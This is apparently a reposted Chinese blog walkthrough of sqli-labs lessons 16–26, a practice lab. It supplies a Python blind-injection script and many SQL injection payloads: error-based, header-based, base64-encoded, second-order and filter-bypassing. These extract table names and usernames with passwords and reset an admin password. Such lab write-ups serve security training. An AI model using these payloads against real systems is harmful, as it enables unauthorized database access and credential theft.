sql注入——sqlilabs16-26

news2024/11/14 22:07:50

文章目录

    • less-16
      • 3.注入
    • less-17
      • 2.数据库名
        • 2.1 floor报错注入数据库名
      • 3.查到数据表
        • 3.1floor 报错注入数据表
      • 4.查取列名
        • 4.1 floor报错注入 列名
      • 5.查取内容
    • less-18
      • 1.添加X-Forwarded-For测试
      • 2修改User-Agent测试
      • 3.查数据表名
      • 4.查数据列
      • 5.查取数据
    • less-19
      • 2.查数据库
      • 3.查数据表
      • 4.查数据列
      • 5.查取数据
    • less-20
      • 2.查数据库
      • 3.查数据表
      • 4.查数据列
      • 5.查取数据
    • less-21
      • 2.查数据库
      • 3.查数据表
      • 4.查数据列
      • 5.查取数据
    • less-22
      • 2.查数据库
      • 3.查数据表
      • 4.查数据列
      • 5.查取数据
    • less-23
      • 2.查数据库
      • 3.查数据表
      • 4.查数据列
      • 5.查取数据
    • less-24
      • 创建用户admin'#
      • 修改admin'#的密码
      • 我们admin的密码是admin,这里我们用登录admin用户,密码用1登陆试试
      • 登陆成功
    • less-25
      • 2.查数据库
      • 3.查看数据表
      • 4.查看数据列
        • 常见and or 绕过
          • 大小写混杂绕过:anD,Or等
          • 复写绕过:anandd, oorr等
          • 运算符绕过:|| (&&在url中会省略后面的参数)
          • url编码绕过 |:%7c &:%26
      • 5.查数据
    • less-26
      • 2.查询数据库
      • 3.数据表
      • 4.数据列
      • 5.数据内容

less-16

在这里插入图片描述

  • 发现和less15差不多,就闭合变为了”)

3.注入

import requests

url  = "http://localhost/sqlilabs/Less-16/"
def get_database(url, yuju, chishu):
    name = ''
    for i in range(1, chishu):
        minr = 32
        maxr = 129
        middle = (minr + maxr) // 2
        while minr < maxr :
            data = {"uname": 'admin") and ascii(substr((%s), %d, 1)) > %d -- ' % (yuju, i, middle), "passwd": "asdfadff"}
            request = requests.post(url, data=data)
            if "flag.jpg" in request.text:
                minr = middle + 1
                # print(True)
            else:
                # print(False)
                maxr = middle
            middle = (minr + maxr) // 2

            if maxr == 32:
                break
            # print(middle)
        name = name + chr(middle)
        print(name)

yuju = input("输入查询语句:")
chishu = int(input('大概查询次数:'))
get_database(url, yuju, chishu)

在这里插入图片描述

less-17

在这里插入图片描述
在这里插入图片描述

  • 这里呢我们发现uname用了过滤,passwd就没有
  • 从执行顺序上看发现想进入到注入语句,$row就得有数据,所以用户得存在,然后再passwd处下功夫,用报错注入试试

2.数据库名

1' and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 
1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

在这里插入图片描述

2.1 floor报错注入数据库名
1' and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

在这里插入图片描述

3.查到数据表

1'and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--   

在这里插入图片描述

3.1floor 报错注入数据表
1' and (select 1 from (select count(*), concat((select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- 

在这里插入图片描述

4.查取列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)-- 

在这里插入图片描述

4.1 floor报错注入 列名
1' and (select 1 from (select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) -- //floor 报错注入

在这里插入图片描述

5.查取内容

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 
  • 很明显这里并没有注入出来,

  • 这里报错的意思(你不能在查询user表时,更改表中的数据在同一语句中) 因为这里的注入点时update语句

  • 我们这里语句拼接好:

    • update users set password = '1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) //这里明显有一个查user表的语句
      

在这里插入图片描述

1' and updatexml(1,substr(concat(0x7e,(select t.name from (select group_concat(username, 0x3a, password) as name from users ) as t),0x7e),1,32),1)--  //这里修改为创建一个新表,新表的内容为users表的内容,在查询新表

在这里插入图片描述

less-18

在这里插入图片描述

  • 这里我们看到uname,passwd都有被过滤,但是他对响应信息有一个入库的操作,这里我们可以试试

  • HTPP_USER_AGENT:user_agent REMOTE_ADDR:X-Forwarded-For

  • 用burp suite进行抓包,然后发送到重发部模块
    在这里插入图片描述
    在这里插入图片描述

1.添加X-Forwarded-For测试

  • 这里呢我们不用逃逸单引号,因为insert语句这后面需要构造,为了不必要的构造,我们
X-Forwarded-For:1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) 'and '1'='1
  • 没有什么用
    在这里插入图片描述

2修改User-Agent测试

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) and '1'='1

在这里插入图片描述

3.查数据表名

1' and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1) and '1'='1

1' and (select 1 from (select count(*), concat((select group_concat(table_name) from information_schema.columns where table_schema = 'security'), floor(rand(0) * 2)) as x from information_schema.columns group by x) as z )and '1'='1


在这里插入图片描述

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) and '1'='1

1' and (select 1 from (select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) as x from information_schema.COLUMNS group by x) as y) and '1'='1

在这里插入图片描述

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) and '1'='1

在这里插入图片描述

less-19

在这里插入图片描述

在这里插入图片描述

  • 这里和less-18差不多就是注入点为referer

在这里插入图片描述

2.查数据库

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) and '1'='1

3.查数据表

1' and updatexml(1, concat(0x7e, (select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1) and '1'='1

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) and '1'='1

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) and '1'='1

在这里插入图片描述

less-20

在这里插入图片描述

  • 这里呢只展示了二次提交时候的代码,在二次提交时才会有注入点

  • 完整流程大概就是,先判断你有没有cookie,没有就登录,登录通过后设置cookie的uname字段值为用户明,然后二次提交后,再回到这个页面,这次有cookie,就直接到了上面这段代码,发现二次提交时cookie可以改,没有过滤,然后有一个查表的动作,后面有报错语句,利用报错注入

  • 第一次提交
    在这里插入图片描述

  • 第二次提交

在这里插入图片描述

2.查数据库

1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --+

在这里插入图片描述

3.查数据表

1' and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--+

4.查数据列

1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) --+

5.查取数据

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) --+

在这里插入图片描述

less-21

在这里插入图片描述

在这里插入图片描述

  • 其实和less-20差不多,就多了个base64的编码解码,闭合改为了 ')

2.查数据库

1') and updatexml(1, concat(0x7e, (database()), 0x7e), 1) -- //末尾空格
编码后:MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChkYXRhYmFzZSgpKSwgMHg3ZSksIDEpLS0g

在这里插入图片描述

3.查数据表

1') and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--  
MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgZ3JvdXBfY29uY2F0KGRpc3RpbmN0IHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyksIDB4N2UpLCAxKS0tIA==

4.查数据列

1') and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) -- 

MScpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgYW5kIHRhYmxlX25hbWUgPSAndXNlcnMnKSwgMHg3ZSksIDEpIC0tIA==

5.查取数据

1') and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) -- 

MScpIGFuZCB1cGRhdGV4bWwoMSxzdWJzdHIoY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg3ZSksMSwzMiksMSkgLS0g

less-22

  • 其实和less-22差不多,就逃逸符号为双引号

2.查数据库

1" and updatexml(1, concat(0x7e, (database()), 0x7e), 1) -- //末尾空格
编码后:MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKGRhdGFiYXNlKCkpLCAweDdlKSwgMSkgLS0g

3.查数据表

1" and updatexml(1, concat(0x7e, (select  group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'), 0x7e), 1)--  

MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCAgZ3JvdXBfY29uY2F0KGRpc3RpbmN0IHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyksIDB4N2UpLCAxKS0tICA=

4.查数据列

1" and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 0x7e), 1) -- 

MSIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZSA9ICd1c2VycycpLCAweDdlKSwgMSkgLS0g

5.查取数据

1" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1) -- 

MSIgYW5kIHVwZGF0ZXhtbCgxLHN1YnN0cihjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDdlKSwxLDMyKSwxKSAtLSA=

less-23

在这里插入图片描述

  • 这里它把注释(–, #)符号过滤了。将它替换成了""
  • 所以我们不选择注释,改为闭合 -1’ union select 1,database(),'3
  • 拼接为:select * from users where id=’ -1’ union select 1, database(), '3’ limit 0,1;

2.查数据库

?id=-1' union select 1,database(),'3

在这里插入图片描述

3.查数据表

?id=-1' union select 1, 2, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security

4.查数据列

?id=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users

5.查取数据

?id=-1' union select 1, (select group_concat(username,0x3a,password) from users), '3

less-24

在这里插入图片描述

  • 这个呢,注入点就是再创建用户的时候,可以用单引号和注释符,虽然单引号会被转意,但是写入库是会吧转义符去掉例如:(admin’#) 接收后(admin\‘#)写入数据库时(admin’#) ,取出时也是(admin’#)
  • 这时候我们改密码时候:我们用户虽然时admin’#,但是#在数据库时注释符,再上面截屏中的更新语句中实际上更新的是admin的用户
  • 所以我们可以通过admin用户登录

创建用户admin’#

在这里插入图片描述

修改admin’#的密码

在这里插入图片描述

在这里插入图片描述

我们admin的密码是admin,这里我们用登录admin用户,密码用1登陆试试

登陆成功

less-25

2.查数据库

?id=-1' union select 1, database(),1 --+

3.查看数据表

id=-1' union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

4.查看数据列

常见and or 绕过
大小写混杂绕过:anD,Or等
  • 这里失败了,因为它忽略大小写,无论带小写都会匹配上
?id=1' AnD '1'='1

复写绕过:anandd, oorr等

运算符绕过:|| (&&在url中会省略后面的参数)
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users'--+ 

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' && table_name = 'users'--+ 

?id=1' || '1'='2

url编码绕过 |:%7c &:%26
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' %26%26 table_name = 'users'--+ 

5.查数据

id=-1' union select 1,group_concat(username), group_concat(password) from users --+ 

less-26

  • 这里呢过滤了and or 忽略大小写:这点倒是可以过滤比如 编码 复写
  • 还有注释符-- #:通过闭合来绕过
  • 至于空格:可以用多行注释(/**/,用(),``来界定,或者其他字符代替
    • 在这里插入图片描述

2.查询数据库

?id=-1' || updataxml(1,concat(0x7e,database(),0x7e),1)oorr'1'='1

3.数据表

?id=-1' || updatexml(1,concat(0x7e,(select(group_concat(distinct `table_name`))from(infoorrmation_schema.columns)where `table_schema`='security'),0x7e),1)oorr'1'='1

4.数据列

id=1' || updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where `table_schema`='security'anandd`table_name`='users'),0x7e),1)anandd'1'='1

5.数据内容

?id=-1'||updatexml(1,substr(concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1,32),1)aandnd'1'='1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1996113.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

医疗大健康解决方案HIS方案

本篇接上篇文章医疗大健康解决方案HIS方案-CSDN博客&#xff0c;介绍第二部分区域医疗解决方案。 依托腾讯云优势&#xff0c;联合合作伙伴&#xff0c;连接政府、医疗服务机构、医药研发与流通、康养等&#xff0c;构建医疗大健康产业云生态&#xff0c;助力数字化升级。 方…

小怡分享之数据结构基础知识准备

前言&#xff1a; &#x1f308;✨之前小怡给大家分享了JavaSE的知识&#xff0c;今天小怡要给大家分享一下数据结构基础知识。 一、初识集合框架 1.什么是集合框架 Java集合框架Java Collection Framework&#xff0c; 又称为容器container&#xff0c;是定义在Java.util 包…

Linux服务器基于NFS实现共享目录

NFS简介&#xff1a;NFS&#xff08;Network File System&#xff09;是一种分布式文件系统协议&#xff0c;允许用户通过网络访问远程计算机上的文件和目录&#xff0c;就像访问本地文件一样。NFS 最初由 Sun Microsystems 在 1984 年开发&#xff0c;现在已经成为类 Unix 系统…

SpringBoot企业人事管理系统-附源码与配套论文

1.1引言 随着计算机技术的飞速发展&#xff0c;计算机在各种单位机构管理中应用的普及﹐管理信息系统的开发在强调管理、强调信息的现代社会中也显得越来越重要。因此,利用计算机高效率地完成人事管理的日常事务&#xff0c;是适应现代各种单位机构制度要求、推动各种单位机构…

【项目】火灾烟雾检测管理系统。PyQT5+QT Designe+YOLOv8_ssod半监督算法+OpenCV

【项目】火灾烟雾检测管理系统。PyQT5QT DesigneYOLOv8_ssod半监督算法OpenCV 0.摘要1.引言2.烟雾检测算法2.0图像标注2.1 YOLOv8全监督算法结构2.2 Efficient-Teacher半监督算法结构 3.性能对比图4.源码、论文获取 0.摘要 火灾是常见而危险的自然灾害&#xff0c;不仅对人类生…

数值分析【3】

目录 第四章 插值 边角料&#xff1a; 分段二次插值——三个一插​编辑 三次样条插值 小结&#xff1a;等距看差分​编辑 第五章 最小二乘 第六章 数值积分 代数精度​编辑 第四章 插值 边角料&#xff1a; 分段二次插值——三个一插 三次样条插值 三次阳台函数是光滑…

Oracle一对多(一主多备)的DG环境如何进行switchover切换?

本文主要分享Oracle一对多(一主多备)的DG环境的switchover切换&#xff0c;如何进行主从切换&#xff0c;切换后怎么恢复正常同步&#xff1f; 1、环境说明 本文的环境为一主两备&#xff0c;数据库版本为11.2.0.4&#xff0c;主要信息如下&#xff1a; 数据库IPdb_unique_n…

落子“用户Happy”,vivo的“做活”与“长气”之道

有人说&#xff0c;中国手机行业&#xff0c;是名副其实的“Hard”模式。竞争焦灼&#xff0c;内卷不止。然而&#xff0c;这种主观的判断&#xff0c;也许从侧面反映出另一个客观事实&#xff1a;中国手机市场&#xff0c;凭借巨大的用户规模、多元化的消费倾向、自由展开的科…

从微软蓝屏事件聊到数据库系统中的纸牌屋

2024 年 7 月 19 日&#xff0c;全球约有 850 万台 Windows 电脑崩溃&#xff0c;无法重启&#xff0c;陷入蓝屏死机状态。这次故障影响了全球各地的企业和政府&#xff0c;波及运输、金融服务、医疗保健等绝大多数行业。 故障发生几小时后&#xff0c;蓝屏原因找到&#xff0…

Python 数组计算逻辑

a{1,2,3} b{2,3,4} 与 & 交集(取中) a&b{2, 3} 或 | 并集 (左中右) a&b{1,2,3,4} 差集 ^ 取左右 a^b {1,4} 减 - 取左 a - b {1} a-b {1}

同态加密和SEAL库的介绍(二)BFV 基础方案实现

写在前面&#xff1a; 本篇具体讲解如何使用 BFV 加密方案对加密的整数进行简单的计算&#xff08;一个多项式评估&#xff09;&#xff0c;来源是官方提供的示例。BFV 是比较常见的方案&#xff0c;在很多大模型推理的时候&#xff0c;都是将浮点数的权重和输入变换成…

新品周销量20W+,月GMV1300W+,黑马品牌如何实现快速突围?

随着视频号用户的不断增加&#xff0c;直播带货生态的不断发展&#xff0c;越来越多的品牌也开始入局视频号。 近期友望数据发现&#xff0c;不少新品牌在视频号上脱颖而出。比如服饰内衣行业品牌「瑰菲女神」&#xff0c;专注女性内衣裤行业&#xff0c;周销量近20W件&#xf…

Java 并发(二)—— AQS原理

AQS&#xff0c;全名AbstractQueuedSynchronizer。 抽象队列同步器定义多线程访问共享资源的同步模板&#xff0c;解决了实现自定义同步器时涉及的大量细节问题&#xff0c;简化开发两种同步状态&#xff1a;独占、共享核心组件&#xff1a;State变量、CLH变体队列、获取 / 释…

Leetcode每日刷题之75. 颜色分类(C++)

有接触过数据结构的同学应该知道排序有很多种类&#xff0c;我之前也出过一篇 排序大杂烩 的博客&#xff0c;其中包含了一部分排序的讲解&#xff0c;排序在我们学习编程的过程中有着至关重要的作用&#xff0c;不论是大部分新手刚开始接触的冒泡排序还是C库中的sort函数&…

对象类作为类成员(详解版)

我们在第13行创建了一个人的类&#xff0c;并且给它赋予了两个属性&#xff0c;一个为int 类型的age,另一个则是Phone类型的 name,众所周知class类是一个自定义的数据类型&#xff0c;和struct相似&#xff0c;两者在默认情况下的权限不一样。而我们这时候没有Phone的数据类型&…

Docker 入门全攻略:安装、操作与常用命令指南

目录 Docker 入门全攻略&#xff1a;安装、操作与常用命令指南 一、引言 二、Docker 下载与安装 2.1 Docker 的系统要求 2.2 安装步骤 ①对于 Windows 的安装指南 ②对于 macOS 的安装指南 ③对于 Linux 的安装指南 三、Docker 的基本概念 3.1 镜像&#xff08;Image…

用Python实现特征工程之特征变换——数值特征的归一化和标准化、类别特征的编码、特征组合和分解、特征缩放

特征工程中的特征变换是一个重要的步骤&#xff0c;旨在通过转换原始特征来提高模型的性能。特征变换主要包括数值特征的归一化和标准化、类别特征的编码、特征组合和分解、以及特征缩放等。下面将详细讲解这些内容&#xff0c;并提供相应的Python代码示例。 1. 数值特征的归一…

为什么要选择开放式耳机?开放式耳机的优缺点

今天咱们来聊聊一个特别有意思的话题&#xff1a;为什么我们要选择开放式耳机&#xff1f;在这个耳机种类繁多的世界里&#xff0c;开放式耳机以其独特的魅力&#xff0c;赢得了不少音乐爱好者和运动达人的青睐。 开放式耳机最大的特点就是它不会完全封闭你的耳朵&#xff0c;这…

C语言之“ 分支和循环 ” (2)

&#x1f339;个人主页&#x1f339;&#xff1a;喜欢草莓熊的bear &#x1f339;专栏&#x1f339;&#xff1a;C语言基础 目录 前言 一、switch语句 1.1 if语句和switch语句的对比 1.2 switch语句中的break 1.3 switch语句中的default 1.4 switch语句中的case和default…

信息系统运维管理:深度解析与方案建议

在现代企业环境中&#xff0c;信息系统运维管理扮演着至关重要的角色。它不仅是信息系统高效、安全和稳定运行的保障&#xff0c;更是企业业务发展的坚实支撑。本文将深入探讨服务设计阶段、服务转换阶段、委托系统维护管理这三个关键阶段&#xff0c;并结合最新的互联网技术和…